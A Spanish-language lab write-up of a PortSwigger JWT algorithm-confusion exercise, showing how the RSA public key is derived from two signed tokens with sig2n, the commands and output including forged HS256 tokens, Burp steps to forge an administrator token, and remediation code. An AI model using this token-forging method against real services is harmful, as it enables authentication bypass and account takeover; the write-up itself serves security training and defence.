← Writeups

JWT authentication bypass via algorithm confusion with no exposed key

Derivación de la clave pública RSA a partir de dos JWTs firmados con sig2n para forjar un token de administrador mediante algorithm confusion RS256→HS256.

Target Overview & Vulnerability Summary

El laboratorio maneja sesiones mediante un mecanismo basado en JWT y firma los tokens con un par de claves RSA robusto. La implementación, sin embargo, es vulnerable a un ataque de algorithm confusion: el servidor selecciona el algoritmo de verificación a partir del header alg del propio token, sin validar que el tipo de algoritmo sea coherente con la naturaleza de la clave. Como la clave pública no está expuesta vía un endpoint estándar (p. ej. /jwks.json), la explotación requiere un paso previo: derivar el módulo RSA n de la clave pública a partir de dos tokens firmados.

Campo Valor
Severidad Alta (bypass de autenticación → acceso al panel /admin y eliminación de carlos)
Endpoint vulnerable POST /login (emisión del JWT), GET /admin, DELETE /admin?username=carlos
Root cause El verificador acepta HS256 firmado con material de clave pública; además, la clave pública es recuperable criptográficamente desde los pares (mensaje, firma)

Technical Breakdown & Exploitation Flow

Tras autenticarse con wiener:peter, el servidor emite un JWT cuyo header declara alg: RS256 (RSA + SHA-256, algoritmo asimétrico). Token decodificado:

{
  "kid": "3c096d11-ce95-4577-8da7-56136beabc9c",
  "alg": "RS256"
}
{
  "iss": "portswigger",
  "exp": 1757276372,
  "sub": "wiener"
}

Derivación de la clave pública sin endpoint de exposición

La clave pública no se sirve por ningún endpoint, pero es matemáticamente derivable. Para RSA, una firma es s = m^d mod n. Elevando ambos lados a un exponente e elegido por el atacante se cumple s^e ≡ m (mod n), es decir, n | (s^e − m). Con dos tokens distintos (m₁, s₁) y (m₂, s₂) (dos logins generan exp distintos):

n = gcd(s₁^e − m₁, s₂^e − m₂)

El contenedor portswigger/sig2n automatiza este cálculo, devuelve la clave pública en PEM (formatos x509 y PKCS1) y, además, produce un tampered JWT ya firmado en HS256 que demuestra que la confusión funciona. Obtención de la imagen y ejecución (el segundo parámetro es un JWT fresco, por lo que hay que cerrar sesión y volver a autenticarse para obtener un token con exp nuevo):

docker pull portswigger/sig2n
docker run --rm -it portswigger/sig2n "eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzI3NjM3Miwic3ViIjoid2llbmVyIn0.YxnzgDzb3f51X-X4MaH_CKaXJYLQzrP8JtRc1hP14H7ws7lq71X45rArHOynKOSAllR6azp3Q8g5LIv9dAIMJfE1efY5hqd9Hxcx1Y0-SpolZW-YRuP5N7IJ6UNjP3oBI2LuNXOFytIz003_9yIk3_BU6EimMpcQ5bVUkrvdf9rQ8dCu4eDMEMQaTPwKVKv6eyJjBH0vg_rMse5ycoFTdzbrHQYyndkL-qOpIZAo3Mz-KvQHaVrIvTGCMENHtOLB7KewYY5NpeY7ZQOY2dWMccLi2el7Mb5VVGwr_Bo5-6OntkWdrghleYeuGOz7sWFHSPDQHfkSRZsCKK0bC3-Icw" "eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NzI3NzU1Nywic3ViIjoid2llbmVyIn0.qa5WKW396wIIvSfGr5bVu_KE0gbfG9mmv7GjXSI8JH20uDF2pb6EorjBJCplnTtgis2CkB98EKsuPH9Yr3cZ_decFkbIfLnO-TZv_CQSnbZuynDFYh_QPabvv9gDsOW_W94IFKufJuEZ0KLuETRzcuTLiAUUqJKvsLSUJkyB0uVp4D-igFf7nnR9tw8vlD-TSKHI4fCda_ElpnBS05ZUyD3P7CD2NJt0ql-QGQyl81NsoDbE9Wl3xUdB4WtYIDwv4t2GGRa_8bBGFdlkR3Iab5EkWtDGExbksDf5JhmS2yh7x4L-BGhZn55rpDfTgLj3x2Rp1vwLoiUp4yn7_NiUpw"

Salida del comando: clave pública en PEM en dos formatos (x509 y PKCS1) con sus correspondientes JWTs manipulados (ya firmados en HS256 con el material de la clave pública).

Running command: python3 jwt_forgery.py <token1> <token2>

Found n with multiplier 1:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUJuRmtxY1QyOHhtTkdKOHNRMG9SbAptbkZraXpxWlQvNHN3dUFzNHdiVnpZbDB6MS9sM3d4RXpmYUlQdVRGY3JEb2RzOGRjTHNPTFU2dmxYQmloUkovClVPZ3lMNWpYaGZjelZqbXgxTGxqM0hsNWRaaWdkMUZkU0h6VGUyUGYvWkRqS000eFNlaDBwRTNQN25NZVYwVjcKSGIzeVBVZWR0MjA3eGtCTkJuTjRTa2R2NTZ2RXhuaC9sdGJHeEtwTHA3ZkJIL3k3cldrK2VmMjVEWjF5cW9lUgptZDZNZXkrb2xSTkRZaFVJNkVhcjFhNnFrRHBwdTZacmZvcDVCTUZVQlkzQ1dPSjR1cXZwbFowOHl1VHFQK254CjVOUXRzMlpDNjBRem9nc2VaZll4RVNJNXpScXNiYXZWa1NoeHQzYmlSczllWUpRSWlUVVlJOFJvSEZ2R2tYVisKZ2dJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.4ob7ANH7JX09NtQtvPhrd-a_YpjKamiKHENjQE1Qbqc
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQm5Ga3FjVDI4eG1OR0o4c1Ewb1JsbW5Ga2l6cVpULzRzd3VBczR3YlZ6WWwwejEvbDN3eEUKemZhSVB1VEZjckRvZHM4ZGNMc09MVTZ2bFhCaWhSSi9VT2d5TDVqWGhmY3pWam14MUxsajNIbDVkWmlnZDFGZApTSHpUZTJQZi9aRGpLTTR4U2VoMHBFM1A3bk1lVjBWN0hiM3lQVWVkdDIwN3hrQk5Cbk40U2tkdjU2dkV4bmgvCmx0Ykd4S3BMcDdmQkgveTdyV2srZWYyNURaMXlxb2VSbWQ2TWV5K29sUk5EWWhVSTZFYXIxYTZxa0RwcHU2WnIKZm9wNUJNRlVCWTNDV09KNHVxdnBsWjA4eXVUcVArbng1TlF0czJaQzYwUXpvZ3NlWmZZeEVTSTV6UnFzYmF2VgprU2h4dDNiaVJzOWVZSlFJaVRVWUk4Um9IRnZHa1hWK2dnSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.5Xyc0A0Rje3SAHZr48eLyjwcpYjFYXFkIExlsm8P39Y

Found n with multiplier 2:
    Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUF6aXlWT0o3ZVl6R2pFK1dJYVVJeQp6VGl5UloxTXAvOFdZWEFXY1lOcTVzUzZaNi95NzRZaVp2dEVIM0ppdVZoME8yZU91RjJIRnFkWHlyZ3hRb2svCnFIUVpGOHhyd3Z1WnF4elk2bHl4N2p5OHVzeFFPNml1cEQ1cHZiSHYvc2h4bEdjWXBQUTZVaWJuOXptUEs2SzkKanQ3NUhxUE8yN2FkNHlBbWd6bThKU08zODlYaVl6dy95MnRqWWxVbDA5dmdqLzVkMXJTZlBQN2NoczY1VlVQSQp6TzlHUFpmVVNvbWhzUXFFZENOVjZ0ZFZTQjAwM2RNMXYwVThnbUNxQXNiaExIRThYVlgweXM2ZVpYSjFIL1Q0Cjhtb1cyYk1oZGFJWjBRV1BNdnNZaUpFYzVvMVdOdFhxeUpRNDI3dHhJMmV2TUVvRVJKcU1FZUkwRGkzalNMcS8KUVFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.3buCnqqY3W2mLEkNWT2GRg36hcA4dyZBVAkengLTuCE
    Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXppeVZPSjdlWXpHakUrV0lhVUl5elRpeVJaMU1wLzhXWVhBV2NZTnE1c1M2WjYveTc0WWkKWnZ0RUgzSml1VmgwTzJlT3VGMkhGcWRYeXJneFFvay9xSFFaRjh4cnd2dVpxeHpZNmx5eDdqeTh1c3hRTzZpdQpwRDVwdmJIdi9zaHhsR2NZcFBRNlVpYm45em1QSzZLOWp0NzVIcVBPMjdhZDR5QW1nem04SlNPMzg5WGlZencvCnkydGpZbFVsMDl2Z2ovNWQxclNmUFA3Y2hzNjVWVVBJek85R1BaZlVTb21oc1FxRWRDTlY2dGRWU0IwMDNkTTEKdjBVOGdtQ3FBc2JoTEhFOFhWWDB5czZlWlhKMUgvVDQ4bW9XMmJNaGRhSVowUVdQTXZzWWlKRWM1bzFXTnRYcQp5SlE0Mjd0eEkyZXZNRW9FUkpxTUVlSTBEaTNqU0xxL1FRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    Tampered JWT: eyJraWQiOiIzYzA5NmQxMS1jZTk1LTQ1NzctOGRhNy01NjEzNmJlYWJjOWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc1NzM2MDQzMiwgInN1YiI6ICJ3aWVuZXIifQ.yadu7Dqa6QFxMjnoG4NPMPQYN2_BMU9l4-m-NZ9x3oU

El resultado con multiplier 2 es una variante del mismo módulo (la derivación mediante gcd puede devolver 2n); cualquiera de las claves sirve para verificar la confusión. Los tampered JWTs ya son tokens HS256 válidos, lo que confirma que el servidor verifica HS256 usando la clave pública RSA como secreto HMAC.

Forjado del token de administrador

  1. En la pestaña JWT Editor de Burp Suite, crear una New RSA Key y pegar la clave PEM resultante de decodificar el bloque x509 (o PKCS1) en base64.
  2. Copiar el valor base64 de la clave PEM y usarlo como valor del campo k de una New Symmetric Key (clave oct); ese será el secreto HMAC con el que se firmará.
  3. En Repeater, sobre la request que contiene el JWT, modificar el header a alg: HS256 y el claim sub a administrator.
  4. Firmar con la clave simétrica creada (opción Sign, asegurando "don't modify header" para conservar el alg manipulado).
  5. Enviar GET /admin con el token forjado.
  6. Enviar DELETE /admin?username=carlos para resolver el laboratorio.

Root Cause Analysis

La vulnerabilidad tiene dos facetas complementarias:

  1. Selección de algoritmo desde el header sin fijación de tipo de clave. El verificador elige alg del token y aplica la clave correspondiente sin comprobar que el algoritmo sea coherente con el tipo de clave. En particular, acepta HS256 (simétrico) y utiliza como secreto HMAC el material de la clave pública RSA. Cualquier cliente puede entonces firmar tokens con una clave pública que es pública por definición. Patrón de código defectuoso:
key, _ := jwks.KeyFor(kid)          // clave pública RSA
token, _ := jwt.Parse(raw, jwt.WithKey(jwa.Algorithm(header.Alg), key))
// jwa.HS256 aplicado sobre un rsa.PublicKey como secreto HMAC → confusion
  1. Recuperabilidad de la clave pública desde la firma. Aunque no exista un endpoint de exposición, el par (mensaje, firma) filtra n para cualquier e elegido por el atacante. Es un leak criptográfico inherente a RSA cuando la clave de verificación se reutiliza para HMAC.

Secure Remediation

  • Fijar el algoritmo esperado por clave. El código debe declarar una lista blanca de algoritmos válidos para cada kid y rechazar cualquier alg que no coincida (nunca confiar en alg del header para seleccionar el verificador):
switch header.Alg {
case jwa.RS256: // clave pública RSA → solo algoritmos asimétricos
    token, err := jwt.Parse(raw, jwt.WithKey(jwa.RS256, pubKey))
default:
    return ErrAlgorithmNotAllowed
}
  • Prohibir el uso de claves públicas o semipúblicas como secreto HMAC: para HS256/HS384/HS512 el secreto debe ser un valor aleatorio de al menos 256 bits, nunca el módulo RSA ni su codificación.
  • Mantener un registro kid → (clave, algoritmo) autorizado por el servidor y validar ambos campos contra esa tabla.
  • Considerar algoritmos con firma sin ambigüedad de clave (EdDSA/Ed25519) o curvas que eviten la clase entera de confusion entre simétrico/asimétrico.